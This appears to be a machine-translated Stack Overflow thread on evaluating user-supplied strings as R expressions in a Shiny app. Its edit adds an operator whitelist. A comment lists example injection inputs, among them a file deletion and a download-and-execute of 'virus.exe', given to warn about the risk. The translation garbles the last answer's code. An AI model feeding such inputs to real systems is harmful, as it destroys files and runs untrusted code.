2014-01-09 4 views
3

Было установлено, что необходимо определить функцию eval_string, которая оценивает строку, как если бы это было выражение (/ call). Например, если:R: оценить строку

string <- 'cyl == 6 & disp > 200' 

Я хотел бы:

eval_string(string, mtcars) 

быть эквивалентно:

eval(quote(cyl == 6 & disp > 200), mtcars) 

Это моя попытка:

eval_string <- function(string, ...) eval(parse(text = string), ...) 

, который, кажется, работа, однако, мне известно parse is нахмурился и не имеет большого опыта в этом типе программирования (что бы это ни было?). Поэтому мой вопрос: есть ли более канонический способ достижения того, чего я хочу? Чтобы поставить какой-то контекст за вопрос, eval_string будет использоваться совместно с shiny; в частности, функцию textInput.

Приветствия за любую помощь.

EDIT: спасибо за комментарии ребята. Как я использую textInput подмножеству кадра данных, с помощью руководства Хедли, я пришел к этому решению также:

library(pryr) 

subset_with_string <- function(string, data) { 
    expr <- parse(text = string)[[1]] 
    subset_calls <- c("==", "!=", "&", "|", ">", "<", ">=", "<=", "(") 
    legal_call <- all(fun_calls(expr) %in% subset_calls)       
    if (legal_call) { 
    data[eval(expr, data), ] 
    } 
    else { 
    stop('string does not induce a legal subset call to evaluate!') 
    } 
} 

subset_with_string("(cyl == 6 & hp > 100) | gear == 4", mtcars) 

subset_with_string("rm('importantFile.doc')", mtcars) 
+1

Оценка произвольного ввода пользователем является законным вариантом использования 'eval (parse())'. Тем не менее, я бы не чувствовал себя комфортно с этим из-за проблем безопасности. – Roland

+2

Расширенные страницы программирования Hadley - хорошие ссылки для этого типа программирования; см., например, http://adv-r.had.co.nz/Computing-on-the-language.html – Aaron

+0

Просто убедитесь, что вы можете предположить, что строка не содержит ничего подобного 'rm ('importantFile.doc') 'или' donwnload.file ('http://billgates.com/virus.exe'); shell.exec ('virus.exe') 'или даже' system ('donate -money $ 1000-to hackers') ' – lebatsnok

ответ

0

Там нет никакого способа, чтобы «оценить» строку (в данном смысле) без разобрав его. Поэтому, если ваш ввод является строкой, тогда нет способа избежать parse.

См subset.data.frame за идею, как сделать это без струн

[[EDIT]] Но subset.data.frame в основном eval -uates выражение в кадре данных. Так что, если по какой-то причине вы не в порядке с eval и substitute (или их друзьями, как with и within), тогда это выглядит так, а ответа нет.

1

Чтобы избежать использования Eval У меня есть следующий в Блестящем приложении:

< DAT - попробуйте (do.call (подмножество, список (данные, синтаксический анализ (текст = строка))), бесшумный = TRUE)

if (! Is (dat, 'try-error')) return (dat)

Смежные вопросы